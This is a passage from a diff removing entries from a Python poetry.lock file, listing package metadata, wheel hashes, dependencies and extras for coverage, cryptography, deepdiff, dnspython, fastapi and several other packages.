"sha256:7eda778067ad7ffccd23ecffce537dface96212576a07924cbf0d8799d2ded5a"}, - {file = "coverage-7.13.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:e87f6c587c3f34356c3759f0420693e35e7eb0e2e41e4c011cb6ec6ecbbf1db7"}, - {file = "coverage-7.13.4-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:8248977c2e33aecb2ced42fef99f2d319e9904a36e55a8a68b69207fb7e43edc"}, - {file = "coverage-7.13.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:25381386e80ae727608e662474db537d4df1ecd42379b5ba33c84633a2b36d47"}, - {file = "coverage-7.13.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:ee756f00726693e5ba94d6df2bdfd64d4852d23b09bb0bc700e3b30e6f333985"}, - {file = "coverage-7.13.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fdfc1e28e7c7cdce44985b3043bc13bbd9c747520f94a4d7164af8260b3d91f0"}, - {file = "coverage-7.13.4-cp312-cp312-win32.whl", hash = "sha256:01d4cbc3c283a17fc1e42d614a119f7f438eabb593391283adca8dc86eff1246"}, - {file = "coverage-7.13.4-cp312-cp312-win_amd64.whl", hash = "sha256:9401ebc7ef522f01d01d45532c68c5ac40fb27113019b6b7d8b208f6e9baa126"}, - {file = "coverage-7.13.4-cp312-cp312-win_arm64.whl", hash = "sha256:b1ec7b6b6e93255f952e27ab58fbc68dcc468844b16ecbee881aeb29b6ab4d8d"}, - {file = "coverage-7.13.4-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:b66a2da594b6068b48b2692f043f35d4d3693fb639d5ea8b39533c2ad9ac3ab9"}, - {file = "coverage-7.13.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:3599eb3992d814d23b35c536c28df1a882caa950f8f507cef23d1cbf334995ac"}, - {file = "coverage-7.13.4-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:93550784d9281e374fb5a12bf1324cc8a963fd63b2d2f223503ef0fd4aa339ea"}, - {file = "coverage-7.13.4-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:b720ce6a88a2755f7c697c23268ddc47a571b88052e6b155224347389fdf6a3b"}, - {file = "coverage-7.13.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7b322db1284a2ed3aa28ffd8ebe3db91c929b7a333c0820abec3d838ef5b3525"}, - {file = "coverage-7.13.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f4594c67d8a7c89cf922d9df0438c7c7bb022ad506eddb0fdb2863359ff78242"}, - {file = "coverage-7.13.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:53d133df809c743eb8bce33b24bcababb371f4441340578cd406e084d94a6148"}, - {file = "coverage-7.13.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:76451d1978b95ba6507a039090ba076105c87cc76fc3efd5d35d72093964d49a"}, - {file = "coverage-7.13.4-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:7f57b33491e281e962021de110b451ab8a24182589be17e12a22c79047935e23"}, - {file = "coverage-7.13.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:1731dc33dc276dafc410a885cbf5992f1ff171393e48a21453b78727d090de80"}, - {file = "coverage-7.13.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:bd60d4fe2f6fa7dff9223ca1bbc9f05d2b6697bc5961072e5d3b952d46e1b1ea"}, - {file = "coverage-7.13.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9181a3ccead280b828fae232df12b16652702b49d41e99d657f46cc7b1f6ec7a"}, - {file = "coverage-7.13.4-cp313-cp313-win32.whl", hash = "sha256:f53d492307962561ac7de4cd1de3e363589b000ab69617c6156a16ba7237998d"}, - {file = "coverage-7.13.4-cp313-cp313-win_amd64.whl", hash = "sha256:e6f70dec1cc557e52df5306d051ef56003f74d56e9c4dd7ddb07e07ef32a84dd"}, - {file = "coverage-7.13.4-cp313-cp313-win_arm64.whl", hash = "sha256:fb07dc5da7e849e2ad31a5d74e9bece81f30ecf5a42909d0a695f8bd1874d6af"}, - {file = "coverage-7.13.4-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:40d74da8e6c4b9ac18b15331c4b5ebc35a17069410cad462ad4f40dcd2d50c0d"}, - {file = "coverage-7.13.4-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:4223b4230a376138939a9173f1bdd6521994f2aff8047fae100d6d94d50c5a12"}, - {file = "coverage-7.13.4-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:1d4be36a5114c499f9f1f9195e95ebf979460dbe2d88e6816ea202010ba1c34b"}, - {file = "coverage-7.13.4-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:200dea7d1e8095cc6e98cdabe3fd1d21ab17d3cee6dab00cadbb2fe35d9c15b9"}, - {file = "coverage-7.13.4-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b8eb931ee8e6d8243e253e5ed7336deea6904369d2fd8ae6e43f68abbf167092"}, - {file = "coverage-7.13.4-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:75eab1ebe4f2f64d9509b984f9314d4aa788540368218b858dad56dc8f3e5eb9"}, - {file = "coverage-7.13.4-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c35eb28c1d085eb7d8c9b3296567a1bebe03ce72962e932431b9a61f28facf26"}, - {file = "coverage-7.13.4-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:eb88b316ec33760714a4720feb2816a3a59180fd58c1985012054fa7aebee4c2"}, - {file = "coverage-7.13.4-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:7d41eead3cc673cbd38a4417deb7fd0b4ca26954ff7dc6078e33f6ff97bed940"}, - {file = "coverage-7.13.4-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:fb26a934946a6afe0e326aebe0730cdff393a8bc0bbb65a2f41e30feddca399c"}, - {file = "coverage-7.13.4-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:dae88bc0fc77edaa65c14be099bd57ee140cf507e6bfdeea7938457ab387efb0"}, - {file = "coverage-7.13.4-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:845f352911777a8e722bfce168958214951e07e47e5d5d9744109fa5fe77f79b"}, - {file = "coverage-7.13.4-cp313-cp313t-win32.whl", hash = "sha256:2fa8d5f8de70688a28240de9e139fa16b153cc3cbb01c5f16d88d6505ebdadf9"}, - {file = "coverage-7.13.4-cp313-cp313t-win_amd64.whl", hash = "sha256:9351229c8c8407645840edcc277f4a2d44814d1bc34a2128c11c2a031d45a5dd"}, - {file = "coverage-7.13.4-cp313-cp313t-win_arm64.whl", hash = "sha256:30b8d0512f2dc8c8747557e8fb459d6176a2c9e5731e2b74d311c03b78451997"}, - {file = "coverage-7.13.4-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:300deaee342f90696ed186e3a00c71b5b3d27bffe9e827677954f4ee56969601"}, - {file = "coverage-7.13.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:29e3220258d682b6226a9b0925bc563ed9a1ebcff3cad30f043eceea7eaf2689"}, - {file = "coverage-7.13.4-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:391ee8f19bef69210978363ca930f7328081c6a0152f1166c91f0b5fdd2a773c"}, - {file = "coverage-7.13.4-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0dd7ab8278f0d58a0128ba2fca25824321f05d059c1441800e934ff2efa52129"}, - {file = "coverage-7.13.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:78cdf0d578b15148b009ccf18c686aa4f719d887e76e6b40c38ffb61d264a552"}, - {file = "coverage-7.13.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:48685fee12c2eb3b27c62f2658e7ea21e9c3239cba5a8a242801a0a3f6a8c62a"}, - {file = "coverage-7.13.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:4e83efc079eb39480e6346a15a1bcb3e9b04759c5202d157e1dd4303cd619356"}, - {file = "coverage-7.13.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ecae9737b72408d6a950f7e525f30aca12d4bd8dd95e37342e5beb3a2a8c4f71"}, - {file = "coverage-7.13.4-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ae4578f8528569d3cf303fef2ea569c7f4c4059a38c8667ccef15c6e1f118aa5"}, - {file = "coverage-7.13.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:6fdef321fdfbb30a197efa02d48fcd9981f0d8ad2ae8903ac318adc653f5df98"}, - {file = "coverage-7.13.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2b0f6ccf3dbe577170bebfce1318707d0e8c3650003cb4b3a9dd744575daa8b5"}, - {file = "coverage-7.13.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:75fcd519f2a5765db3f0e391eb3b7d150cce1a771bf4c9f861aeab86c767a3c0"}, - {file = "coverage-7.13.4-cp314-cp314-win32.whl", hash = "sha256:8e798c266c378da2bd819b0677df41ab46d78065fb2a399558f3f6cae78b2fbb"}, - {file = "coverage-7.13.4-cp314-cp314-win_amd64.whl", hash = "sha256:245e37f664d89861cf2329c9afa2c1fe9e6d4e1a09d872c947e70718aeeac505"}, - {file = "coverage-7.13.4-cp314-cp314-win_arm64.whl", hash = "sha256:ad27098a189e5838900ce4c2a99f2fe42a0bf0c2093c17c69b45a71579e8d4a2"}, - {file = "coverage-7.13.4-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:85480adfb35ffc32d40918aad81b89c69c9cc5661a9b8a81476d3e645321a056"}, - {file = "coverage-7.13.4-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:79be69cf7f3bf9b0deeeb062eab7ac7f36cd4cc4c4dd694bd28921ba4d8596cc"}, - {file = "coverage-7.13.4-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:caa421e2684e382c5d8973ac55e4f36bed6821a9bad5c953494de960c74595c9"}, - {file = "coverage-7.13.4-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:14375934243ee05f56c45393fe2ce81fe5cc503c07cee2bdf1725fb8bef3ffaf"}, - {file = "coverage-7.13.4-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:25a41c3104d08edb094d9db0d905ca54d0cd41c928bb6be3c4c799a54753af55"}, - {file = "coverage-7.13.4-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6f01afcff62bf9a08fb32b2c1d6e924236c0383c02c790732b6537269e466a72"}, - {file = "coverage-7.13.4-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:eb9078108fbf0bcdde37c3f4779303673c2fa1fe8f7956e68d447d0dd426d38a"}, - {file = "coverage-7.13.4-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:0e086334e8537ddd17e5f16a344777c1ab8194986ec533711cbe6c41cde841b6"}, - {file = "coverage-7.13.4-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:725d985c5ab621268b2edb8e50dfe57633dc69bda071abc470fed55a14935fd3"}, - {file = "coverage-7.13.4-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:3c06f0f1337c667b971ca2f975523347e63ec5e500b9aa5882d91931cd3ef750"}, - {file = "coverage-7.13.4-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:590c0ed4bf8e85f745e6b805b2e1c457b2e33d5255dd9729743165253bc9ad39"}, - {file = "coverage-7.13.4-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:eb30bf180de3f632cd043322dad5751390e5385108b2807368997d1a92a509d0"}, - {file = "coverage-7.13.4-cp314-cp314t-win32.whl", hash = "sha256:c4240e7eded42d131a2d2c4dec70374b781b043ddc79a9de4d55ca71f8e98aea"}, - {file = "coverage-7.13.4-cp314-cp314t-win_amd64.whl", hash = "sha256:4c7d3cc01e7350f2f0f6f7036caaf5673fb56b6998889ccfe9e1c1fe75a9c932"}, - {file = "coverage-7.13.4-cp314-cp314t-win_arm64.whl", hash = "sha256:23e3f687cf945070d1c90f85db66d11e3025665d8dafa831301a0e0038f3db9b"}, - {file = "coverage-7.13.4-py3-none-any.whl", hash = "sha256:1af1641e57cf7ba1bd67d677c9abdbcd6cc2ab7da3bca7fa1e2b7e50e65f2ad0"}, - {file = "coverage-7.13.4.tar.gz", hash = "sha256:e5c8f6ed1e61a8b2dcdf31eb0b9bbf0130750ca79c1c49eb898e2ad86f5ccc91"}, -] - -[package.dependencies] -tomli = {version = "*", optional = true, markers = "python_full_version <= \"3.11.0a6\" and extra == \"toml\""} - -[package.extras] -toml = ["tomli ; python_full_version <= \"3.11.0a6\""] - -[[package]] -name = "cryptography" -version = "46.0.4" -description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." -optional = false -python-versions = "!=3.9.0,!=3.9.1,>=3.8" -groups = ["main"] -files = [ - {file = "cryptography-46.0.4-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:281526e865ed4166009e235afadf3a4c4cba6056f99336a99efba65336fd5485"}, - {file = "cryptography-46.0.4-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5f14fba5bf6f4390d7ff8f086c566454bff0411f6d8aa7af79c88b6f9267aecc"}, - {file = "cryptography-46.0.4-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:47bcd19517e6389132f76e2d5303ded6cf3f78903da2158a671be8de024f4cd0"}, - {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:01df4f50f314fbe7009f54046e908d1754f19d0c6d3070df1e6268c5a4af09fa"}, - {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:5aa3e463596b0087b3da0dbe2b2487e9fc261d25da85754e30e3b40637d61f81"}, - {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:0a9ad24359fee86f131836a9ac3bffc9329e956624a2d379b613f8f8abaf5255"}, - {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:dc1272e25ef673efe72f2096e92ae39dea1a1a450dd44918b15351f72c5a168e"}, - {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:de0f5f4ec8711ebc555f54735d4c673fc34b65c44283895f1a08c2b49d2fd99c"}, - {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:eeeb2e33d8dbcccc34d64651f00a98cb41b2dc69cef866771a5717e6734dfa32"}, - {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:3d425eacbc9aceafd2cb429e42f4e5d5633c6f873f5e567077043ef1b9bbf616"}, - {file = "cryptography-46.0.4-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:91627ebf691d1ea3976a031b61fb7bac1ccd745afa03602275dda443e11c8de0"}, - {file = "cryptography-46.0.4-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:2d08bc22efd73e8854b0b7caff402d735b354862f1145d7be3b9c0f740fef6a0"}, - {file = "cryptography-46.0.4-cp311-abi3-win32.whl", hash = "sha256:82a62483daf20b8134f6e92898da70d04d0ef9a75829d732ea1018678185f4f5"}, - {file = "cryptography-46.0.4-cp311-abi3-win_amd64.whl", hash = "sha256:6225d3ebe26a55dbc8ead5ad1265c0403552a63336499564675b29eb3184c09b"}, - {file = "cryptography-46.0.4-cp314-cp314t-macosx_10_9_universal2.whl", hash = "sha256:485e2b65d25ec0d901bca7bcae0f53b00133bf3173916d8e421f6fddde103908"}, - {file = "cryptography-46.0.4-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:078e5f06bd2fa5aea5a324f2a09f914b1484f1d0c2a4d6a8a28c74e72f65f2da"}, - {file = "cryptography-46.0.4-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:dce1e4f068f03008da7fa51cc7abc6ddc5e5de3e3d1550334eaf8393982a5829"}, - {file = "cryptography-46.0.4-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:2067461c80271f422ee7bdbe79b9b4be54a5162e90345f86a23445a0cf3fd8a2"}, - {file = "cryptography-46.0.4-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:c92010b58a51196a5f41c3795190203ac52edfd5dc3ff99149b4659eba9d2085"}, - {file = "cryptography-46.0.4-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:829c2b12bbc5428ab02d6b7f7e9bbfd53e33efd6672d21341f2177470171ad8b"}, - {file = "cryptography-46.0.4-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:62217ba44bf81b30abaeda1488686a04a702a261e26f87db51ff61d9d3510abd"}, - {file = "cryptography-46.0.4-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:9c2da296c8d3415b93e6053f5a728649a87a48ce084a9aaf51d6e46c87c7f2d2"}, - {file = "cryptography-46.0.4-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:9b34d8ba84454641a6bf4d6762d15847ecbd85c1316c0a7984e6e4e9f748ec2e"}, - {file = "cryptography-46.0.4-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:df4a817fa7138dd0c96c8c8c20f04b8aaa1fac3bbf610913dcad8ea82e1bfd3f"}, - {file = "cryptography-46.0.4-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:b1de0ebf7587f28f9190b9cb526e901bf448c9e6a99655d2b07fff60e8212a82"}, - {file = "cryptography-46.0.4-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:9b4d17bc7bd7cdd98e3af40b441feaea4c68225e2eb2341026c84511ad246c0c"}, - {file = "cryptography-46.0.4-cp314-cp314t-win32.whl", hash = "sha256:c411f16275b0dea722d76544a61d6421e2cc829ad76eec79280dbdc9ddf50061"}, - {file = "cryptography-46.0.4-cp314-cp314t-win_amd64.whl", hash = "sha256:728fedc529efc1439eb6107b677f7f7558adab4553ef8669f0d02d42d7b959a7"}, - {file = "cryptography-46.0.4-cp38-abi3-macosx_10_9_universal2.whl", hash = "sha256:a9556ba711f7c23f77b151d5798f3ac44a13455cc68db7697a1096e6d0563cab"}, - {file = "cryptography-46.0.4-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:8bf75b0259e87fa70bddc0b8b4078b76e7fd512fd9afae6c1193bcf440a4dbef"}, - {file = "cryptography-46.0.4-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3c268a3490df22270955966ba236d6bc4a8f9b6e4ffddb78aac535f1a5ea471d"}, - {file = "cryptography-46.0.4-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:812815182f6a0c1d49a37893a303b44eaac827d7f0d582cecfc81b6427f22973"}, - {file = "cryptography-46.0.4-cp38-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:a90e43e3ef65e6dcf969dfe3bb40cbf5aef0d523dff95bfa24256be172a845f4"}, - {file = "cryptography-46.0.4-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:a05177ff6296644ef2876fce50518dffb5bcdf903c85250974fc8bc85d54c0af"}, - {file = "cryptography-46.0.4-cp38-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:daa392191f626d50f1b136c9b4cf08af69ca8279d110ea24f5c2700054d2e263"}, - {file = "cryptography-46.0.4-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:e07ea39c5b048e085f15923511d8121e4a9dc45cee4e3b970ca4f0d338f23095"}, - {file = "cryptography-46.0.4-cp38-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:d5a45ddc256f492ce42a4e35879c5e5528c09cd9ad12420828c972951d8e016b"}, - {file = "cryptography-46.0.4-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:6bb5157bf6a350e5b28aee23beb2d84ae6f5be390b2f8ee7ea179cda077e1019"}, - {file = "cryptography-46.0.4-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:dd5aba870a2c40f87a3af043e0dee7d9eb02d4aff88a797b48f2b43eff8c3ab4"}, - {file = "cryptography-46.0.4-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:93d8291da8d71024379ab2cb0b5c57915300155ad42e07f76bea6ad838d7e59b"}, - {file = "cryptography-46.0.4-cp38-abi3-win32.whl", hash = "sha256:0563655cb3c6d05fb2afe693340bc050c30f9f34e15763361cf08e94749401fc"}, - {file = "cryptography-46.0.4-cp38-abi3-win_amd64.whl", hash = "sha256:fa0900b9ef9c49728887d1576fd8d9e7e3ea872fa9b25ef9b64888adc434e976"}, - {file = "cryptography-46.0.4-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:766330cce7416c92b5e90c3bb71b1b79521760cdcfc3a6a1a182d4c9fab23d2b"}, - {file = "cryptography-46.0.4-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:c236a44acfb610e70f6b3e1c3ca20ff24459659231ef2f8c48e879e2d32b73da"}, - {file = "cryptography-46.0.4-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:8a15fb869670efa8f83cbffbc8753c1abf236883225aed74cd179b720ac9ec80"}, - {file = "cryptography-46.0.4-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:fdc3daab53b212472f1524d070735b2f0c214239df131903bae1d598016fa822"}, - {file = "cryptography-46.0.4-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:44cc0675b27cadb71bdbb96099cca1fa051cd11d2ade09e5cd3a2edb929ed947"}, - {file = "cryptography-46.0.4-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:be8c01a7d5a55f9a47d1888162b76c8f49d62b234d88f0ff91a9fbebe32ffbc3"}, - {file = "cryptography-46.0.4.tar.gz", hash = "sha256:bfd019f60f8abc2ed1b9be4ddc21cfef059c841d86d710bb69909a688cbb8f59"}, -] - -[package.dependencies] -cffi = {version = ">=2.0.0", markers = "python_full_version >= \"3.9.0\" and platform_python_implementation != \"PyPy\""} -typing-extensions = {version = ">=4.13.2", markers = "python_full_version < \"3.11.0\""} - -[package.extras] -docs = ["sphinx (>=5.3.0)", "sphinx-inline-tabs", "sphinx-rtd-theme (>=3.0.0)"] -docstest = ["pyenchant (>=3)", "readme-renderer (>=30.0)", "sphinxcontrib-spelling (>=7.3.1)"] -nox = ["nox[uv] (>=2024.4.15)"] -pep8test = ["check-sdist", "click (>=8.0.1)", "mypy (>=1.14)", "ruff (>=0.11.11)"] -sdist = ["build (>=1.0.0)"] -ssh = ["bcrypt (>=3.1.5)"] -test = ["certifi (>=2024)", "cryptography-vectors (==46.0.4)", "pretend (>=0.7)", "pytest (>=7.4.0)", "pytest-benchmark (>=4.0)", "pytest-cov (>=2.10.1)", "pytest-xdist (>=3.5.0)"] -test-randomorder = ["pytest-randomly"] - -[[package]] -name = "deepdiff" -version = "8.6.1" -description = "Deep Difference and Search of any Python object/data. Recreate objects by adding adding deltas to each other." -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "deepdiff-8.6.1-py3-none-any.whl", hash = "sha256:ee8708a7f7d37fb273a541fa24ad010ed484192cd0c4ffc0fa0ed5e2d4b9e78b"}, - {file = "deepdiff-8.6.1.tar.gz", hash = "sha256:ec56d7a769ca80891b5200ec7bd41eec300ced91ebcc7797b41eb2b3f3ff643a"}, -] - -[package.dependencies] -orderly-set = ">=5.4.1,<6" - -[package.extras] -cli = ["click (>=8.1.0,<8.2.0)", "pyyaml (>=6.0.0,<6.1.0)"] -coverage = ["coverage (>=7.6.0,<7.7.0)"] -dev = ["bump2version (>=1.0.0,<1.1.0)", "ipdb (>=0.13.0,<0.14.0)", "jsonpickle (>=4.0.0,<4.1.0)", "nox (==2025.5.1)", "numpy (>=2.0,<3.0) ; python_version < \"3.10\"", "numpy (>=2.2.0,<2.3.0) ; python_version >= \"3.10\"", "orjson (>=3.10.0,<3.11.0)", "pandas (>=2.2.0,<2.3.0)", "polars (>=1.21.0,<1.22.0)", "python-dateutil (>=2.9.0,<2.10.0)", "tomli (>=2.2.0,<2.3.0)", "tomli-w (>=1.2.0,<1.3.0)", "uuid6 (==2025.0.1)"] -docs = ["Sphinx (>=6.2.0,<6.3.0)", "sphinx-sitemap (>=2.6.0,<2.7.0)", "sphinxemoji (>=0.3.0,<0.4.0)"] -optimize = ["orjson"] -static = ["flake8 (>=7.1.0,<7.2.0)", "flake8-pyproject (>=1.2.3,<1.3.0)", "pydantic (>=2.10.0,<2.11.0)"] -test = ["pytest (>=8.3.0,<8.4.0)", "pytest-benchmark (>=5.1.0,<5.2.0)", "pytest-cov (>=6.0.0,<6.1.0)", "python-dotenv (>=1.0.0,<1.1.0)"] - -[[package]] -name = "distlib" -version = "0.4.0" -description = "Distribution utilities" -optional = false -python-versions = "*" -groups = ["dev"] -files = [ - {file = "distlib-0.4.0-py2.py3-none-any.whl", hash = "sha256:9659f7d87e46584a30b5780e43ac7a2143098441670ff0a49d5f9034c54a6c16"}, - {file = "distlib-0.4.0.tar.gz", hash = "sha256:feec40075be03a04501a973d81f633735b4b69f98b05450592310c0f401a4e0d"}, -] - -[[package]] -name = "dnspython" -version = "2.7.0" -description = "DNS toolkit" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "dnspython-2.7.0-py3-none-any.whl", hash = "sha256:b4c34b7d10b51bcc3a5071e7b8dee77939f1e878477eeecc965e9835f63c6c86"}, - {file = "dnspython-2.7.0.tar.gz", hash = "sha256:ce9c432eda0dc91cf618a5cedf1a4e142651196bbcd2c80e89ed5a907e5cfaf1"}, -] - -[package.extras] -dev = ["black (>=23.1.0)", "coverage (>=7.0)", "flake8 (>=7)", "hypercorn (>=0.16.0)", "mypy (>=1.8)", "pylint (>=3)", "pytest (>=7.4)", "pytest-cov (>=4.1.0)", "quart-trio (>=0.11.0)", "sphinx (>=7.2.0)", "sphinx-rtd-theme (>=2.0.0)", "twine (>=4.0.0)", "wheel (>=0.42.0)"] -dnssec = ["cryptography (>=43)"] -doh = ["h2 (>=4.1.0)", "httpcore (>=1.0.0)", "httpx (>=0.26.0)"] -doq = ["aioquic (>=1.0.0)"] -idna = ["idna (>=3.7)"] -trio = ["trio (>=0.23)"] -wmi = ["wmi (>=1.5.1)"] - -[[package]] -name = "dunamai" -version = "1.25.0" -description = "Dynamic version generation" -optional = false -python-versions = ">=3.5" -groups = ["dev"] -files = [ - {file = "dunamai-1.25.0-py3-none-any.whl", hash = "sha256:7f9dc687dd3256e613b6cc978d9daabfd2bb5deb8adc541fc135ee423ffa98ab"}, - {file = "dunamai-1.25.0.tar.gz", hash = "sha256:a7f8360ea286d3dbaf0b6a1473f9253280ac93d619836ad4514facb70c0719d1"}, -] - -[package.dependencies] -packaging = ">=20.9" - -[[package]] -name = "exceptiongroup" -version = "1.3.1" -description = "Backport of PEP 654 (exception groups)" -optional = false -python-versions = ">=3.7" -groups = ["main", "dev"] -markers = "python_version == \"3.10\"" -files = [ - {file = "exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598"}, - {file = "exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219"}, -] - -[package.dependencies] -typing-extensions = {version = ">=4.6.0", markers = "python_version < \"3.13\""} - -[package.extras] -test = ["pytest (>=6)"] - -[[package]] -name = "fastapi" -version = "0.128.6" -description = "FastAPI framework, high performance, easy to learn, fast to code, ready for production" -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "fastapi-0.128.6-py3-none-any.whl", hash = "sha256:bb1c1ef87d6086a7132d0ab60869d6f1ee67283b20fbf84ec0003bd335099509"}, - {file = "fastapi-0.128.6.tar.gz", hash = "sha256:0cb3946557e792d731b26a42b04912f16367e3c3135ea8290f620e234f2b604f"}, -] - -[package.dependencies] -annotated-doc = ">=0.0.2" -pydantic = ">=2.7.0" -starlette = ">=0.40.0,<1.0.0" -typing-extensions = ">=4.8.0" -typing-inspection = ">=0.4.2" - -[package.extras] -all = ["email-validator (>=2.0.0)", "fastapi-cli[standard] (>=0.0.8)", "httpx (>=0.23.0,<1.0.0)", "itsdangerous (>=1.1.0)", "jinja2 (>=3.1.5)", "orjson (>=3.9.3)", 